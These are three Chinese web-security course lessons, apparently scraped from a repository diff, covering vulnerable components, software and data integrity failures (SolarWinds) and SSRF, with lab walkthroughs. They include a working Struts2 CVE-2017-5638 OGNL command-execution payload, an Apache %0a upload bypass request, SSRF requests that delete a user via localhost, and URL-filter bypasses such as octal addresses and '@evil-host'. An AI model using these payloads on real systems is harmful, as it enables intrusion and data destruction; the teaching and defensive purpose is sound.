首先,我们需要了解Web应用中具有哪些组件。
|
||||
|
||||
通常来讲,Web应用一般都包含三个基础组件,Web应用服务组件、Web数据库组件以及Web客户端浏览器组件。其中,我们很容易知道Web应用服务器是用于运行Web应用的,Web数据库服务器是用于给Web应用提供需要的数据,而Web客户端浏览器则可以用来展示Web应用返回的内容,同时决定用户与Web应用的交互方式。
|
||||
|
||||
其实上述三个基础组件本身,也是由多个组件所构成的,例如Web应用服务器可能会包含Struts、Apache应用等多个组件,而Struts、Apache内部也会包含很多组件。所以组件是一个很灵活的说法,你可以将它简单地理解为是一个独立功能单元。
|
||||
|
||||
随着Web应用的功能越来越复杂,应用中组件的个数也在不断提升,这会对Web应用的安全造成一定的威胁,因为我们难以确保每个组件都是安全的。这是一个棘手的问题,它在OWASP 2021中荣获第六位,下面让我们具体地学习一些典型的易受攻击和过时的组件吧。
|
||||
|
||||
Apache换行解析漏洞
|
||||
|
||||
在之前的学习中,我们知道了Apache是一款使用很广泛的Web应用组件,尽管它的功能非常强大,但是在过去的版本中,它也存在换行解析漏洞,所以我们如果用这款工具时,要注意它的版本信息。
|
||||
|
||||
这个换行解析漏洞影响的版本为Apache 2.4.10 - 2.4.29,接下来让我们通过示例来具体的学习Apache换行解析漏洞。
|
||||
|
||||
|
||||
|
||||
这是一个文件上传靶场,我们需要上传一个test.php文件,点击提交后,我们可以看到页面返回了bad file。发现被拦截之后,我查看靶场源码,看到了下面的过滤代码:
|
||||
|
||||
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
|
||||
exit('bad file');
|
||||
}
|
||||
|
||||
|
||||
它是基于黑名单的过滤方式,所以我们无法直接上传php相关后缀的文件名。但是,我们可以尝试利用换行解析漏洞去进行测试。于是,我们开启BurpSuite,拦截文件上传的报文如下:
|
||||
|
||||
POST /index.php HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
Content-Length: 298
|
||||
Cache-Control: max-age=0
|
||||
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
|
||||
sec-ch-ua-mobile: ?0
|
||||
sec-ch-ua-platform: "macOS"
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Origin: http://127.0.0.1
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5b4HReBGGEbOB2B
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Sec-Fetch-Dest: document
|
||||
Referer: http://127.0.0.1/
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
|
||||
------WebKitFormBoundaryD5b4HReBGGEbOB2B
|
||||
Content-Disposition: form-data; name="file"; filename="test.php"
|
||||
Content-Type: text/php
|
||||
|
||||
<?php phpinfo();?>
|
||||
|
||||
------WebKitFormBoundaryD5b4HReBGGEbOB2B
|
||||
Content-Disposition: form-data; name="name"
|
||||
|
||||
test.php
|
||||
------WebKitFormBoundaryD5b4HReBGGEbOB2B--
|
||||
|
||||
|
||||
在倒数第二行test.php的最后加上一个空格符,然后点击Hex格式,找到我们刚刚输入的空格,将它改为0a。
|
||||
|
||||
|
||||
|
||||
然后将这个修改后的报文发送出去,响应中不再提示bad file。然后我们访问test.php%0a路径,获得响应如下:
|
||||
|
||||
|
||||
|
||||
可以看到,我们上传文件test.php成功,并且成功输出了其中的PHP语句,我们看到Apache的版本信息为2.4.10,确实是存在换行解析漏洞的版本。
|
||||
|
||||
回顾我们的攻击过程,我们将文件的后缀改为了 .php%0a,这个后缀是可以通过检测的,因此Web应用会允许 test.php%0a 的上传。到这里都是合理的,可是问题就发生在Apache在解析这个文件时,会将它解析为一个PHP文件,并调用PHP解释器来执行它。
|
||||
|
||||
事实上,%0a 代表换行符。Apache 是使用 .php\( 的正则匹配方式来检测 php 后缀的文件,而 \) 是匹配字符串中结尾的位置,且如果存在换行符,则匹配换行符为结尾。所以,在上述示例中,我们利用了换行符 %0a 与 $ 匹配,使得我们上传的文件test.php%0a被当作PHP文件解析。
|
||||
|
||||
这就是Apache换行解析漏洞,它的危害性还是很大的,所以我们在开发Web应用时,需要避免使用漏洞存在的版本。
|
||||
|
||||
接下来,让我们学习另一个典型的不安全组件问题,即Struts2远程代码执行漏洞。
|
||||
|
||||
Struts2远程代码执行漏洞
|
||||
|
||||
在学习这个漏洞之前,我们先来看下Struts2是什么。
|
||||
|
||||
Struts2是一个Java Web应用框架,它可以帮助我们更容易地去构建一个Web应用。在简单地了解了Struts2之后,我们开始学习Struts2远程代码执行漏洞产生的原理。
|
||||
|
||||
事实上,Struts2漏洞发生在文件上传过程中,我们知道上传和下载在Web应用中属于常用功能,可是Struts2本身并没有提供这个功能,而是选择调用模块Jakarta来实现文件的上传。这个Jakarta在处理文件上传请求时,会对异常信息进行OGNL表达式解析处理,这就是导致漏洞产生的核心因素。
|
||||
|
||||
攻击者可以访问使用Struts2制作的Web应用,并且用BurpSuite捕获报文,将HTTP请求头中的Content-Type改为包含multipart/form-data的OGNL恶意命令。这样Struts2在接收到这个请求后,由于Content-Type的值包含multipart/form-data,所以认为这是一个文件上传请求,进而交给Jakarta进行处理。可是我们的Content-Type中包含了恶意的OGNL代码,导致Jakarta在处理它时会发现异常,并将异常信息交给OGNL表达式解析处理。这样,我们的恶意OGNL代码就会被执行。
|
||||
|
||||
这就是Struts2远程代码执行漏洞,该漏洞被称为CVE-2017-5638,它的影响版本为Struts 2.3.5 - Struts 2.3.31以及Struts 2.5 - Struts 2.5.10。接下来,让我们通过实战,来亲自体会它的威力吧!
|
||||
|
||||
实战演练
|
||||
|
||||
我们进入实战环节,登录谜团(mituan.zone)并选择【易受攻击和过时的组件CVE-2017-5638】靶机,如果你可以看到如下页面,那就成功打开了我们的靶场。
|
||||
|
||||
|
||||
|
||||
接下来我们刷新页面,用BurpSuite拦截请求,获取到如下报文:
|
||||
|
||||
GET /showcase.action HTTP/1.1
|
||||
Host: 127.0.0.1:8080
|
||||
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
|
||||
sec-ch-ua-mobile: ?0
|
||||
sec-ch-ua-platform: "macOS"
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Sec-Fetch-Site: none
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Sec-Fetch-Dest: document
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
|
||||
|
||||
下面,我们给它添加一个Content-Type请求头,并将包含multipart/form-data字符串的恶意payload作为它的值。
|
||||
|
||||
GET /showcase.action HTTP/1.1
|
||||
Host: 127.0.0.1:8080
|
||||
Cache-Control: max-age=0
|
||||
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
|
||||
sec-ch-ua-mobile: ?0
|
||||
sec-ch-ua-platform: "macOS"
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Sec-Fetch-Site: none
|
||||
Content-Type:
|
||||
%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -l').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Sec-Fetch-Dest: document
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: JSESSIONID=C7D2C0C8353A3D952C576487D42216E3
|
||||
Connection: close
|
||||
|
||||
|
||||
payload是一段OGNL语句,你可能看不懂它,不用担心,这里我们只需要知道,在payload中cmd的值指定为 ls -l,这样就可以让Web应用执行 ls -l 命令,并将输出进行返回。将我们精心修改后的报文发送出去,你就可以看到页面响应内容变为如下:
|
||||
|
||||
|
||||
|
||||
可以看到,我们注入的命令 ls -l 的结果已经返回在页面上,攻击成功。
|
||||
|
||||
到这里,你已经学习了易受攻击和过时组件会给Web应用造成的威胁,接下来我们来学习如何抵御组件不安全的问题。
|
||||
|
||||
防御方式
|
||||
|
||||
为了保证我们的Web应用不会因为组件问题,导致威胁的存在,我们需要了解开发的Web应用中所有的组件信息,然后对它们进行检查,判断其中是否有不安全的组件存在,如果存在就对它们进行限制或修改,解决安全隐患,同时持续关注这些组件的安全信息。
|
||||
|
||||
这样我们就可以尽可能地减少组件安全性问题发生的概率。不过,上述措施实施起来还是比较困难的,毕竟一个Web应用可能会用到很多的组件。为了解决这个问题,我们可以利用DevSecOps来开发我们的应用。下面,我们来学习DevSecOps是什么以及它是如何保护Web应用组件安全的。
|
||||
|
||||
DevSecOps
|
||||
|
||||
想要学习DevSecOps,我们首先要了解DevOps是什么。
|
||||
|
||||
DevOps即有质量保证的开发与运维,它代表的是一组过程、方法与系统的统称,用于促进开发、技术运营以及质量保障部门之间的沟通、协作与调整。
|
||||
|
||||
在DevOps模式下,运维人员会在项目开发期就介入到开发过程中,了解开发人员使用的系统架构和技术路线,从而制定适当的运维方案。而开发人员也会在运维的初期参与到系统部署中,并提供系统部署的优化建议。这样不仅可以加深开发人员和运维人员的感情,还能使得彼此更了解应用的整体情况,有助于提高实施效率。
|
||||
|
||||
DevSecOps相比较而言多了Sec三个字母,事实上,它确实就是将安全性无缝集成到DevOps的每个阶段。它统一了开发活动、操作支持和安全检查。在DevSecOps中,对代码的任何更改都会触发安全检查,其中若存在易受攻击和不安全的组件,就会很快被发现及更改。
|
||||
|
||||
|
||||
|
||||
总结
|
||||
|
||||
在这节课程中,我们学习了易受攻击和过时的组件问题。
|
||||
|
||||
首先,我们对组件进行了理解,知道了它其实是一个灵活的概念,我们可以将它理解为独立的功能单元。
|
||||
|
||||
之后,我们通过对Struts以及Apache这两个组件安全性的分析,结合实战,切身地了解了不安全的组件会给我们整个Web应用的安全性造成极大的威胁。
|
||||
|
||||
最后,我们学习了如何抵御组件安全性问题,即通过DevSecOps方式开发我们的Web应用,对所用的组件及依赖项进行及时的检测。这样,就可以很好地保护我们的Web应用啦!
|
||||
|
||||
思考题
|
||||
|
||||
你还知道哪些组件安全问题吗?以及如何防御?
|
||||
|
||||
欢迎在评论区中分享。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
105
专栏/Web漏洞挖掘实战/32软件和数据完整性故障:SolarWinds事件的幕后⿊⼿.md
Normal file
105
专栏/Web漏洞挖掘实战/32软件和数据完整性故障:SolarWinds事件的幕后⿊⼿.md
Normal file
@ -0,0 +1,105 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
32 软件和数据完整性故障:SolarWinds事件的幕后⿊⼿
|
||||
你好,我是王昊天。
|
||||
|
||||
在日常生活中,我们经常会用到一些应用软件,例如微信以及支付宝等,它们无疑给我们的生活带来了很大的便利。但是,你有没有想过这些应用软件会不会被人篡改呢?
|
||||
|
||||
现在让我们一起设想一个情况,假设你常用的某款应用被攻击者篡改过,并且该应用没有检测出代码被更改,导致你可以正常使用它并且察觉不到它已经被篡改了。那么,这款应用在运行时,就会执行攻击者写入的恶意代码,这会对我们的设备安全造成极大的破坏。
|
||||
|
||||
这一讲,我们一起来分析软件和数据完整性故障问题的原因和后果。
|
||||
|
||||
软件和数据完整性故障
|
||||
|
||||
我们可以将软件和数据完整性故障分为两个方向,即软件完整性故障及数据完整性故障。
|
||||
|
||||
其中,软件完整性故障代表应用的运行代码可能受到篡改,攻击者可以将恶意代码加入到应用程序中,使得应用程序运行时,恶意代码也被执行。
|
||||
|
||||
而数据完整性故障则代表应用发送的数据可能受到篡改,攻击者可以通过修改一些数据,实现欺骗其他用户乃至绕过访问控制。
|
||||
|
||||
到这里,你已经对软件和数据完整性故障有了大致的了解,接下来我们会进入到对它们的具体学习中,首先让我们来看软件的完整性故障。
|
||||
|
||||
软件的完整性故障
|
||||
|
||||
软件的完整性故障就是应用的运行代码可能受到了篡改,那么攻击者是如何对其进行更改的呢?
|
||||
|
||||
事实上,攻击者可以通过多种途径来修改应用代码。下面,让我们来看其中典型的三种攻击方式。
|
||||
|
||||
第一种方式最简单,当应用依赖于一些来源不可信的插件或模块时,攻击者就可以尝试对这些依赖项的代码进行修改,这样应用在引入依赖项时也会将恶意代码引入,从而导致软件完整性被破坏。
|
||||
|
||||
接下来,我们来看第二种攻击方式。为了让你更好地理解这种方式,我们先来学习一个概念即CI/CD管道,它是Continuous Integration以及Continuous Delivery的缩写,意为持续集成和持续部署。在上一讲中,我们学习了Devops理念,而CI/CD管道实际上就是实现这种理念的具体方法,它可以使得开发和运营团队能够在整个软件开发生命周期中进行协作,完成代码从构建到部署乃至最后的安全性检测这些阶段。
|
||||
|
||||
当应用的CI/CD管道安全性不充分时,攻击者就可以在CI/CD的过程中向应用代码插入恶意代码,如果这段代码可以绕过CI/CD阶段安全性的测试,那么这段恶意代码将会随着应用一起被部署、使用以及执行。
|
||||
|
||||
下面,我们来看最后一种攻击方式。这种攻击方式,利用的是我们熟悉的应用更新过程。如果一个应用在更新时,没有对其更新的内容进行完整性验证就将它添加到应用中,那么在这个过程中,就可能会存在恶意代码的添加。攻击者可以将自己准备的恶意更新包进行上传,供其他用户使用更新。当用户使用恶意更新包更新应用时,就会使得恶意代码加入到应用中。
|
||||
|
||||
值得一提的是,有的时候官方的更新包也可能存在恶意代码,在这种情况下,几乎可以使得所有用户受到恶意代码的攻击。著名的SolarWinds事件就是因为官方更新包中存在恶意代码所导致的。一般来讲,这种情况的发生都是由于应用开发内部存在内鬼。
|
||||
|
||||
到这里,你已经明白了软件完整性故障的攻击方式,接下来让我们一起来看一下刚刚提到的SolarWinds事件,它算是一个影响力极大的软件完整性故障实例。
|
||||
|
||||
软件的完整性故障实例
|
||||
|
||||
在2020年12月13日,FireEye发布了关于SolarWinds供应链攻击的报告,报告中指出SolarWinds Orion软件更新包中被黑客植入了后门。本次供应链攻击事件,波及范围极大,包括政府部门、关键基础设施以及多家全球500强企业,造成的影响目前无法估计。
|
||||
|
||||
不难发现,这次SolarWinds事件非常恶劣,那么它到底是如何实现的呢?攻击者是在版本2019.4-2020.2.1中植入了恶意的后门应用程序。这些恶意程序利用SolarWinds的数字证书绕过验证,伪装成正常的协议与攻击者进行通信并将结果隐藏在合法的插件配置文件中,从而达到隐藏自身的目的。
|
||||
|
||||
这就是著名的SolarWinds事件,从攻击者的行为、使用的技术以及足够的基础设施支撑来看,其攻击水平与技术成熟度无疑是国家背景的黑客组织。经过调查,白宫网格统一协调小组明确披露此次事件的幕后黑手就是俄罗斯情报部门,他们对此付出了极高的成本。
|
||||
|
||||
到这里,你已经完成了对软件完整性故障的学习,接下来让我们学习同样重要的数据完整性故障吧。
|
||||
|
||||
数据的完整性故障
|
||||
|
||||
数据的完整性故障就是应用发送的数据可能受到了篡改。
|
||||
|
||||
在学习数据的完整性故障前,我们首先需要学习两个概念,序列化及反序列化。通俗地说,序列化就是把一个对象变成可以传输的字符串,并让它可以以特定的格式在进程之间跨平台安全地进行通信。这么说可能会比较抽象,接下来我们一起看一个简单示例。
|
||||
|
||||
|
||||
|
||||
从上图中,我们可以看到,User是一个对象,它包含两个属性id以及name,我们想要传输数据就需要将它转化为JSON格式,这样才便于实现数据的传输,反序列化则是它的相反过程。
|
||||
|
||||
事实上,攻击者可以对序列化之后的数据进行修改,这样应用的数据完整性就会被破坏,如果没有数据的完整性验证,那么攻击者很可能成功伪造一些数据,而这会对应用的安全造成破坏。接下来,让我们一起看一个示例来加深我们对数据的完整性故障的理解。
|
||||
|
||||
数据的完整性故障示例
|
||||
|
||||
如下是一个登陆过程,我们需要在浏览器中输入自己的账号和密码,然后点击登陆,之后服务器收到登陆请求后会判断账号密码是否正确,如果正确就返回一个登陆成功的提示信息以及一个cookie,然后将这个cookie信息存储在浏览器中。
|
||||
|
||||
|
||||
|
||||
假设攻击者user1登录成功,并从浏览器存储中找到了自己的cookie,发现它是由数字123以及自己的用户名构成的,之后将这个cookie中的user1改为admin,尝试登陆管理员身份。此时,如果Web应用缺乏对数据完整性的校验,那么就会将攻击者当作管理员处理,使得攻击者成功实施自己的恶意登录行为。
|
||||
|
||||
那么到这里,你已经学习了什么是数据完整性故障,也知道了它的危险之处。下面让我们一起学习如何抵御软件和数据完整性故障吧!
|
||||
|
||||
如何抵御软件和数据完整性故障
|
||||
|
||||
我们可以根据软件和数据完整性故障产生的不同原因,针对性地执行防御措施。
|
||||
|
||||
为了防止用户下载被修改过的应用或者修改应用发送的数据,我们可以在应用中增加数字签名机制。这样,如果应用或数据被修改,那么就通过不了数字签名的验证,使得修改过的应用或数据无效。这虽然不能防止软件或数据被篡改,但是可以有效地使得攻击行为无效。
|
||||
|
||||
对于一些包管理工具,例如NPM、Maven,我们通常需要从其中下载一些内容来使用。所以,我们需要确保这些包管理工具是可信的,避免下载一些攻击者篡改过的工具,从而导致软件完整性故障。
|
||||
|
||||
为了防止CI/CD管道过程中出现有害软件完整性的问题,我们需要确保CI/CD管道具有适当的隔离配置以及访问控制,使得攻击者无法通过这个过程来修改应用的代码。
|
||||
|
||||
总结
|
||||
|
||||
在这一讲中,我们学习了软件和数据完整性故障问题。
|
||||
|
||||
首先,我们对什么是软件和数据完整性故障问题进行了了解,知道了软件完整性故障代表应用的运行代码可能受到篡改,攻击者可以将恶意代码加入到应用程序中,使得应用程序运行时,恶意代码也被执行。而数据完整性故障则代表应用发送的数据可能受到篡改,攻击者可以通过修改一些数据,实现欺骗其他用户乃至绕过访问控制。
|
||||
|
||||
在简单地了解完软件和数据完整性故障之后,我们对它们进行了具体的学习。
|
||||
|
||||
在对软件完整性问题的学习中,我们可以通过SolarWinds事件,清晰地知道软件完整性问题的实现方式以及后果的严重性。而对数据完整性问题的学习中,我们通过一个登录示例,具体了解了数据完整性是怎么一回事,以及可能会导致的后果。
|
||||
|
||||
最后,我们学习了软件和数据完整性故障的防御方案,从多个不同的攻击角度,针对性地给出了相应的解决方案。
|
||||
|
||||
思考题
|
||||
|
||||
你觉得软件和数据完整性故障问题的本质是什么?
|
||||
|
||||
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
163
专栏/Web漏洞挖掘实战/33SSRF:穿越边界防护的利刃.md
Normal file
163
专栏/Web漏洞挖掘实战/33SSRF:穿越边界防护的利刃.md
Normal file
@ -0,0 +1,163 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
33 SSRF:穿越边界防护的利刃
|
||||
你好,我是王昊天。
|
||||
|
||||
在现实生活中,会有很多的边界对我们进行限制。
|
||||
|
||||
记得我小时候,不是特别喜欢上学读书,经常会产生从学校跑回家的想法。可是学校四周都有围栏,唯一的出口就是校门,而校门会有保安监控,想要出去一定要老师的批假条。没有正当理由,老师是不会给我批假,这就导致我无法跑回家。其实,校门就是一个边界,它会阻止外面的坏人进入,也会阻止逃课的小孩偷偷溜回家。
|
||||
|
||||
在Web应用中,出于安全性的考虑也是有边界存在的,它会限制一些资源,使得其在边界内可以访问,而边界外的我们无法访问。不过我们仍然可以通过SSRF攻击穿越边界对其进行访问,下面让我们一起来学习下这种穿越方式吧!
|
||||
|
||||
SSRF服务端请求伪造攻击
|
||||
|
||||
SSRF即为Server Side Request Forgery的缩写,它意为服务端请求伪造。指的是当攻击者无法访问Web应用的内网时,在未能取得服务器所有权限的情况下,利用服务器存在的漏洞,以服务器的身份发送一条精心构造好的请求给服务器所在内网,从而成功对内网发起请求。
|
||||
|
||||
下面,让我们通过一个示例,加深我们对SSRF的理解。
|
||||
|
||||
|
||||
|
||||
上图是一个Web购物应用靶场中的一个商品详情页面。从图中我们可以看出,该商品是一个便携啤酒腰带,由于它非常方便,所以我们点击Check stock,即检查库存按钮,发现它还有509个,可惜不支持发货到中国,不然我们就可以直接下单。于是感到气愤的我,想要对其进行攻击行为。
|
||||
|
||||
于是我再次点击检查库存按钮,并用BurpSuite捕获到如下报文:
|
||||
|
||||
POST /product/stock HTTP/1.1
|
||||
Host: ac0d1ffb1e4f89bac00a8de300fb00d4.web-security-academy.net
|
||||
Cookie: session=WjZYVShyY7v3E3tfhT55IGh0hmVYXyAA
|
||||
Content-Length: 107
|
||||
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
||||
Sec-Ch-Ua-Platform: "macOS"
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Accept: */*
|
||||
Origin: https://ac0d1ffb1e4f89bac00a8de300fb00d4.web-security-academy.net
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Dest: empty
|
||||
Referer: https://ac0d1ffb1e4f89bac00a8de300fb00d4.web-security-academy.net/product?productId=3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
|
||||
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D3%26storeId%3D1
|
||||
|
||||
|
||||
经过观察,我们容易发现,它通过POST方式上传了一个接口stockAPI,用来获取商品库存的数目。
|
||||
|
||||
我们将这个接口修改为http://localhost/admin,尝试获取Web应用的管理员页面。
|
||||
|
||||
|
||||
|
||||
发送报文后,我们惊喜地观察到页面下方确实暴露出来了Web应用的管理页面。接着尝试点击Delete按钮,去删除用户,可是发现收到的响应如下:
|
||||
|
||||
|
||||
|
||||
我们可以看到,该请求被拒绝了,这是因为Web应用对管理接口进行了边界限制,不允许外网用户在非管理员登录状态下对其进行访问。于是,我想起了利用SSRF方式穿越这一边界。
|
||||
|
||||
|
||||
|
||||
首先我们查看删除按钮对应的链接,接着再次点击检查库存,将捕获到报文中的接口改为删除所对应的链接。
|
||||
|
||||
POST /product/stock HTTP/1.1
|
||||
Host: ac0d1ffb1e4f89bac00a8de300fb00d4.web-security-academy.net
|
||||
Cookie: session=6yXqSaAliJJjyWYmdK8kQfAeMSoMxoYt; session=WjZYVShyY7v3E3tfhT55IGh0hmVYXyAA
|
||||
Content-Length: 107
|
||||
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
||||
Sec-Ch-Ua-Platform: "macOS"
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Accept: */*
|
||||
Origin: https://ac0d1ffb1e4f89bac00a8de300fb00d4.web-security-academy.net
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Dest: empty
|
||||
Referer: https://ac0d1ffb1e4f89bac00a8de300fb00d4.web-security-academy.net/product?productId=3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
|
||||
stockApi=http://localhost/admin/delete?username=carlos
|
||||
|
||||
|
||||
这样,我们发现用户carlos就被我们成功删除了,我们通过利用该应用的服务器发起了删除的请求,从而绕过了边界对我们行为的限制。
|
||||
|
||||
在这个示例中,我们使用SSRF攻击对Web应用的本地服务器进行了操作。但事实上,我们还可以对内网中的服务器进行攻击,例如我知道内网中的一个地址,我们想要利用SSRF攻击对其进行操作,只需要将localhost改为它的内网地址即可。
|
||||
|
||||
学习完这个典型的SSRF漏洞之后,我们还需要学习SSRF中一个特殊的类别——Blind SSRF漏洞。
|
||||
|
||||
Blind SSRF攻击
|
||||
|
||||
当我们可以诱使应用程序向提供的URL发出后端HTTP请求,但后端对于这个HTTP请求的响应未在前端页面展示,这就是Blind SSRF攻击。
|
||||
|
||||
一般来说,Blind SSRF漏洞的危害会低于普通SSRF漏洞,因为我们不能轻易利用该漏洞从后端系统检索敏感数据,而是要类似于之前学习的SQL带外注入一样,通过一些带外的方式将敏感数据输出。
|
||||
|
||||
到这里,你已经明白了SSRF的攻击方式以及原理,接下来我们来学习SSRF攻击可能造成的后果。
|
||||
|
||||
SSRF攻击的危害
|
||||
|
||||
SSRF的危险程度其实与Web应用内网的防御强度相关。
|
||||
|
||||
由于边界内的内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务出于运维方便的考虑,可能对内网都没有进行访问设置及权限验证,所以存在SSRF时,通常会造成较大的危害。
|
||||
|
||||
因此,一般来讲,成功的SSRF攻击可以导致未经授权的访问或操作、实现对内网的扫描以及利用file协议读取内网服务器中的本地文件。除此之外,我们还可以利用SSRF攻击使得Web服务器去请求一个较大的文件,这样就可以对应用的服务器发起DOS攻击。
|
||||
|
||||
到这里,你已经知道了SSRF攻击的可怕之处。接下来让我们一起分析这个漏洞存在的原因,以加深我们对它的认知。
|
||||
|
||||
SSRF漏洞存在的原因
|
||||
|
||||
SSRF漏洞存在的原因可以分为两方面,第一方面为对输入链接过滤的失败,另一方面则为内网防御措施的缺失。下面,让我们先来看第一个原因。
|
||||
|
||||
开发者为了抵御SSRF攻击可能会用一些方式,例如正则匹配等,去过滤一些传过来的URL参数。如果开发者没有对URL参数进行过滤,或者过滤不够充分就会导致SSRF漏洞的发生。
|
||||
|
||||
为了让你更好地理解,下面让我们来看一个示例。
|
||||
|
||||
假如开发者为了防止SSRF攻击,会将用户传来的URL数据做正则匹配处理,判断该URL是否是内网地址,它的匹配逻辑为判断链接是否包含10./172./192.这些内网地址中包含的内容。此时攻击者可以用8进制来表示地址格式,就能绕过正则匹配,成功将内网地址输入,从而发起SSRF攻击。
|
||||
|
||||
这个示例是由于正则匹配输入的URL不充分导致的SSRF攻击,接下来让我们来看SSRF漏洞存在的另一个重要原因——内网防御措施的缺失。
|
||||
|
||||
|
||||
|
||||
这里,我们需要仔细观察之前点击删除按键时,应用返回的提示信息。发现这个应用限制未登录的外网账户对管理功能的直接访问,所以我们可以借助服务器用内网对其发送请求,并成功实现恶意行为。那么应用为什么不在内网中做一些防御措施呢?
|
||||
|
||||
事实上,在内网中与服务器本身建立连接时,有可能会绕过访问控制检查,因为实现访问控制检查的组件管理不到其对自身的连接。另一方面,出于防止管理员账户密码丢失的目的,通常会允许本机直接登录,这样就算管理员忘记登录凭据也可以访问管理后台进行恢复。
|
||||
|
||||
这就是SSRF漏洞存在的两个主要原因。在了解了它们之后,我们就可以更好地学习如何防御,下面就让我们一起学习SSRF攻击的防御方式以及相应的绕过技巧吧!
|
||||
|
||||
SSRF攻击的抵御及绕过
|
||||
|
||||
为了防止攻击者利用其他协议,如file去读取本地文件,应用开发者需要限制协议为HTTP/HTTPS,这样可以对攻击者的行为做出限制。
|
||||
|
||||
对于攻击者将URL改为内网地址实现SSRF穿越边界的行为,应用开发者可以对URL设置黑白名单机制,使得攻击者设置内网中的URL变得无效。不过攻击者有很多绕过技巧。
|
||||
|
||||
对于黑名单验证机制来说,应用开发者可能会限制URL中不可包含127.0.0.1这一地址。相应的,攻击者可以将URL设为017700000001,它是127.0.0.1的八进制表示,这样就可以绕过黑名单机制的限制。
|
||||
|
||||
对于白名单验证机制来说,攻击者同样是可以绕过的。当开发者限制URL必须以期望的地址expected-host开头,攻击者可以将URL设置为http://expected-host@evil-host,这里的 @ 可以让URL实际代表 @ 之后的地址,这样就能绕过白名单限制,使得应用服务器访问evil-host。
|
||||
|
||||
总结
|
||||
|
||||
在这一讲中,我们学习了SSRF漏洞的相关内容。
|
||||
|
||||
首先,我们学习了SSRF即服务端请求伪造攻击的定义,知道了它指的是当攻击者无法访问Web应用的内网时,在未能取得服务器所有权限的情况下,利用服务器存在的漏洞,以服务器的身份发送一条精心构造好的请求给服务器所在内网,从而成功对内网发起请求。
|
||||
|
||||
